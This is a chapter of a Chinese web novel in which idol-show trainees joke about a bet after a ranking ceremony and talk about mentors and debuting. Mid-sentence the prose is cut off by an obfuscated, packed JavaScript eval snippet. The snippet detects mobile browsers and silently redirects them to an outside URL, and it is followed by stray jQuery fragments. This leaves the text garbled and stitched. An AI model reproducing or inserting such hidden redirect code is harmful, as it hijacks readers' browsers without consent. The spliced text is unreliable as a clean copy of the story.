77.手牵手一起走
作品:《【选秀】女穿男后cp粉选择自己出道》 第二次顺位发布的录制,对留下来的练习生来说,是在一种混合着尘埃落定后的疲惫和庆幸以及对前路的祈盼和忧虑中落幕的。
金字塔的灯光次第熄灭,和第一次站在这里时没什么区别。
乐尧从顶端的位置走下,没有了第一次的新鲜感,他也就没有像上次一样研究座椅上的机关。
刚刚走下来,乐尧就被肖翘一把薅进怀里。
“恭喜恭喜恭喜你呀。我就说吧,是我赢了。”肖翘趁机呼噜了一把乐尧脑袋,手法让班绩看着十分甚至是九分的熟悉。
这不对吧,平时不是他乐尧呼噜别人吗?倒反天罡了!
但在这之前,乐尧发现了华点:“等等,你赢什么了?那我打赌了是不是!”然后画风一转,“老话说得好,见面分一半。或者我六你四,我就不细究了。”
“哇塞,狮子小开口。原本赢来的小零食就有你的份。”
“所以,你们打什么赌了?”乐尧从魔爪下挣脱出来,跑到姚黎旁边,一看到笑眯眯的姚黎,肖翘老实了。
对于姚黎的威慑力,乐尧十分的放心。毕竟,他从小就相信——眯眯眼的都是怪物,尤其这种笑眯眯的更是可怕。
看到主动跑到自己身边的乐尧,姚黎的笑容真心了不少,也配合的问:“我也很好奇,毕竟通常情况下,我不会拿小乐尧打赌哦。”
听到这话,浓浓的无奈感涌上肖翘的心头。肖翘满脸的“这就没必要了吧”,不要对着友军茶啊!
当然,以他们关系来说,这算是个无伤大雅的小玩笑。
所以乐尧把手搭在姚黎肩膀上,从背后探出头来,故意拱火:“看看人家,再看看你。崽,你让我很失望。”
“去去去,谁是你崽!”姚黎的茶言茶语没做到的,乐尧简单的一个字做到了。肖翘一边炸毛,一边把在旁边吃瓜准备见缝插针的班绩薅了过来。“来来来,这才是你崽。”
这下好了,炸毛的变成班绩小朋友了。
同时,飘过的某不知名路人卫渡评价道:“吃瓜有风险,探头需谨慎。”
不过,对班绩来说,一公播出后才是他真正要像香蒲一样炸开的时候。
“好了好了,说回正题!”肖翘从班绩手中逃脱,试图再去揉搓一下在旁边幸灾乐祸的乐尧。
但乐尧早已溜之大吉。搞的肖翘突然想起了童年回忆里那一句:“在我面前,敌人不是逃之夭夭,就是一败涂地。”好中二,好喜欢,好想说。
但肖翘忍住了,并决定有机会去应聘忍者。
“咳咳,就是打赌这一次是谁跟你手牵手一起走。”
捕捉到牵手关键词,步清让看了过来。
“那看来,战利品也有我的一份了。”步清让也带着笑,但和姚黎看着完全不同。乐尧对比了一下,大概是深情男二和眯眯眼反派的区别。
“有的有的,见者有份。”
肖翘拿出了“全场消费由肖公子买单”的气场,结果被卫渡一声冷笑打破了,整个人像是被戳破的气球。
刚要怒视,就被卫渡一句:“猜猜你的战利品是从谁那赢的?”噎了回去。
“诶呀,咱们快点走吧。”肖翘挑选了一位幸运的钟昱阳小朋友,在对方疑惑的目光中薅起来就走。“你也不想让小乐尧知道你投了谁吧。”
趁着肖翘打哈哈,乐尧凑到卫渡面前,笑嘻嘻的问:“小渡小渡,你选了谁啊?”
“……反正选错了,我愿赌服输。”卫渡移开视线,跟上了肖翘的脚步,背影有着几分落荒而逃的架势。
周枢言先班绩一步走到乐尧旁边,推了推眼镜,笑容带着点不怀好意,清了清嗓把乐尧的注意力吸引过来然后开口:“作为赌局中的一员,我很想告诉你都有谁参与,每个人又投了谁的。可惜,这也算是隐私中的一种吧。”
“但是——”和周枢言想的一样,听到“但是”两个字的乐尧马上就用期待的亮晶晶的眼神看着周枢言。
得到了想要的,周枢言嘴角的弧度控制不住的上扬:“我可以告诉你我的选择,我投给了我自己哦。”
走在后面的班绩觉得他那股看不惯的劲又上来了,趁着这个话口,就插到两个人中间。
开始阎王点卯:“咳咳,据不完全统计参与赌局的有:肖翘、卫渡、周枢言、步清让、蓝牧川、钟昱阳、林枫、赵子毅、孙明轩、林冕。”
“夺少?难为肖翘把你们一个个搜罗起来了。”乐尧一向是对肖翘的E人程度感到畏惧的。“不对?那我怎么啥也不知道!”
乐尧用一种复杂的“你们居然孤立我”的目光看着这一圈人。
“没办法嘛,毕竟你是当事人。”而且,要是乐尧选的不是自己,那他们也无心关心什么赌局了。
勉强认可了这个说法,乐尧也就不再好奇每个人的选择了。
这一趴过去后,一行人就浩浩荡荡的回到宿舍楼了,路过熟悉的终于解封的大铁门时,他们都冲着粉丝打了招呼。嘱咐她们早点回去,接下来他们也没有拍摄任务,不要继续等了。
回到宿舍楼,已经有练习生收拾好东西准备离开了。但赛程过半,伤感的氛围也没那么强烈了。
秉承着“在别人饥饿时,不要大声吧唧嘴”的素养,乐尧没有和肖翘继续打闹,只是安静的和每个要离开的人,擦肩而过。
直到关上门,隔绝了外界的气氛。宿舍里弥漫着放松的气息。
“终于能坐下了。”卫渡第一个卸力,把自己摔进椅子里,长长呼出一口气,“录排名比公演还折磨人。”
公演只是上台前和在舞台上紧张那么一小会儿,但排名公布可是要一直站在台下等着。虽然正片不会把每个人都剪进去,但录制肯定是要都录的,因此他们还要时刻注意表情和姿态。对比起来,确实比公演要累,一直站着真的很累。
“还好,比上一次站的时间短了快一半呢!”话这么说,但乐尧也瘫在了椅子里。
步清让走到窗边,推开一条缝隙,让微凉的空气流进来。背对着大家,声音很轻:“时间过得可真快,已经离开那么多人了。”
一开口,乐尧就知道这是步清让伤春悲秋的人格冒出来了。他偶尔也有这样文青的时候,他懂的。
“快吗?我感觉过去半辈子了。”乐尧已经瘫成猫饼了,幽幽的开口,这下是真的如游丝的气息。
“不止,感觉比我过去二十多年都丰富多彩。”跨界选手蓝牧川,很有发言权。以前最大的运动量好像只有体测,现在天天铁人三项。
乐尧哀嚎:“我依稀记得我过去也很丰富多彩,我是指我的手机。”现在丰富的角度不太一样了。
话匣子打开了,四个人围坐一圈唠起了过去的事。
说着说着,不可避免的落回到节目的话题里。
“三公的规则是什么样子的?我之前搜索出来的,有好多版本。”蓝牧川主动提及了接下来的三公,还是挺让人意外的。但愿意主动了解,就说明了关注度比之前上升了不少。
既然提到三公,宿舍里的气氛还是产生变化了。虽然录制过半了,但播出的节目还没有,甚至对粉丝来说才刚刚开始没多久。一切皆有可能,尤其是接二连三的塌房,一部分粉丝已经是惊弓之鸟了。
再者说,三公作为出道前最后一次的舞台比拼,份量可想而知。尤其,合作的对象还是节目组的几位导师。
大致和蓝牧川解释了一下三公的规则,乐尧喃喃道:“导师合作舞台啊……”
肖翘如果在这儿,大概已经兴奋地嚷嚷开了,但此刻宿舍里E人浓度严重不足。只有乐尧一个E人是没办法玩弄三个I人的,但享受一下I人的空间还是可以的。
乐尧从猫饼状态恢复,直起身体,把手当做话筒举到卫渡面前:“小渡小渡,你的心选导师是哪位?”
卫渡也坐直了身体,抓住乐尧的手腕,然后思索了一下:“我还是倾向dance舞台,秦离导师的风格我很喜欢,也比较适合我。”卫渡觉得既然已经任性的尝试过其他风格了,接下来还是求稳吧。
“也是,vocal舞台你已经有二公了。”乐尧顺着卫渡的思路说下去,没注意到步清让看卫渡那一眼。
“是啊,也算是不留遗憾了。”步清让其实有些羡慕,“也不知道,三公咱们有没有同台的机会。我一直都想和你一起站在舞台上的……”不去想节目结束后的事,单纯想和这个人一起留下些什么。
听到步清让这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150080|185551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么说,乐尧才意识到他熟悉的人里,好像只有步清让和钟昱阳俩个人没有在公演合作过。虽然有初舞台和主题曲二创,但和公演还是不一样的。
“那说明咱们的缘分比较大器晚成,没准三公就是合作的时候呢。”话是这么说,乐尧却突然想起来,他和步清让的cp名——一步之尧,但愿名字作为最短的预言不会一语成谶。
乐尧伸出手拍了拍乐尧,把话筒伸了过去:“那么这位选手。感觉此刻应该有点噔噔噔的不bgm,不过没关系。这位选手,你的选择是——?”
“vocal舞台,我希望合作导师是pd或关老师。”前者是综合考虑,后者是第一选择。
乐尧迅速的点头,“我也是我也是,我更想去关老师的组。”沈亦辰作为pd,人气这块不用多说,但并不是最合适的。
接着继续道:“关老师的歌我很喜欢,如果能同台简直是圆梦了。”然后看向步清让,两人目光交汇,无需多言,在音乐审美上,他们似乎总能找到共鸣。
说完,乐尧的目光落到蓝牧川身上。话筒伸过去后,蓝牧川把手当做话筒架轻轻托住了乐尧的手腕。表情一如既往的没变化,语气也一样:“我都可以。”想了想,补充道,“跟谁合作,都一样。”
乍一听是很狂妄的发言,但在座的都知道言下之意。对蓝牧川而言,无论是声乐还是舞蹈,甚至是说唱。都是需要努力攀登的高峰,没有偏好,只有挑战。
“不一定哦,”乐尧笑了,“不同风格可能会挖掘出不一样的你。”有时候谁也不知道一块待雕琢的美玉,他成品的样子。
交换了大致的方向后,话题却并未停止。三公近在眼前,而三公之后就是最终的决赛,乃至出道。
“出道……九个人。”蓝牧川低声说起出道位。
这个词自录制以来,第一次如此清晰、如此接近地被摆在他们面前讨论。之前是百舸争流。而现在,是真狭路相逢。
宿舍里安静了片刻,窗外是训练基地寂静的夜。步清让站起来把窗户关上,隔绝了外面的寂静,也让宿舍里重新活跃起来。
“出道,会是什么样?”再次坐下后,步清让轻声问,像在问别人,也像在问自己。他向吉他伸出手,指尖像是汲取力量般地拂过琴弦,发出几个零散的空灵音符。
“会很忙吧,”卫渡接话,但他其实想象不到出道后的情景,只觉得应该会很忙。
乐尧也赞同这点,选秀限定团和其他类型不一样,算的上时间紧任务重。当然,前提是公司靠谱,不然让选秀团闲的在家抠脚的企划,也不是没有。
“也会有更多的声音。”蓝牧川忽然开口,无论是人还是事物,热度高的同时,吸引来的关注很可能不是善意的。
心中思绪翻涌,但乐尧摇了摇头:“兵来将挡,水来土掩。咱们都走到这儿了,给自己鼓鼓掌。”
出道……意味着他穿越后选择的这条道路,将迈入一个全新的、更具挑战性的阶段。不再仅仅是练习生之间的竞争,而是真正踏入复杂的娱乐圈。
紧接着,乐尧继续分析:“最重要的只有一点,那就是——坚决不塌房!”
后面话题兜兜转转又绕回导师那里。他们又讨论了一会儿,猜测着导师的选择、其他练习生们的。
夜渐深,聊天的声音渐渐低下去,被哈欠和收拾洗漱的声音取代。
当宿舍重归寂静,只余下均匀呼吸声时,乐尧却还没睡着。他侧躺着,手机屏幕在黑暗中散发出幽幽的光。他快速浏览了一下网上的舆论。
果然,第二次排名公布的录制还热乎着。可关于录制结束、新一轮淘汰名单的小道消息已经流传开来。
有些粉丝们为自家偶像的晋级狂喜,为淘汰意难平,也在热烈讨论着即将到来的三公导师合作。关于导师的选择,各家粉丝已经开始了新一轮的分析和押宝。
最后他关掉手机,在黑暗中闭上眼睛,开始复盘。从初舞台到一公,从二公到不久前的风波,再到刚刚结束的排名,一步步,清晰如昨。实力、运气、人缘、镜头、突如其来的变故……无数因素交织,才让他此刻躺在距离出道一步之遥的地方。
思绪纷杂,直到困意压过理智,他才沉沉睡去。

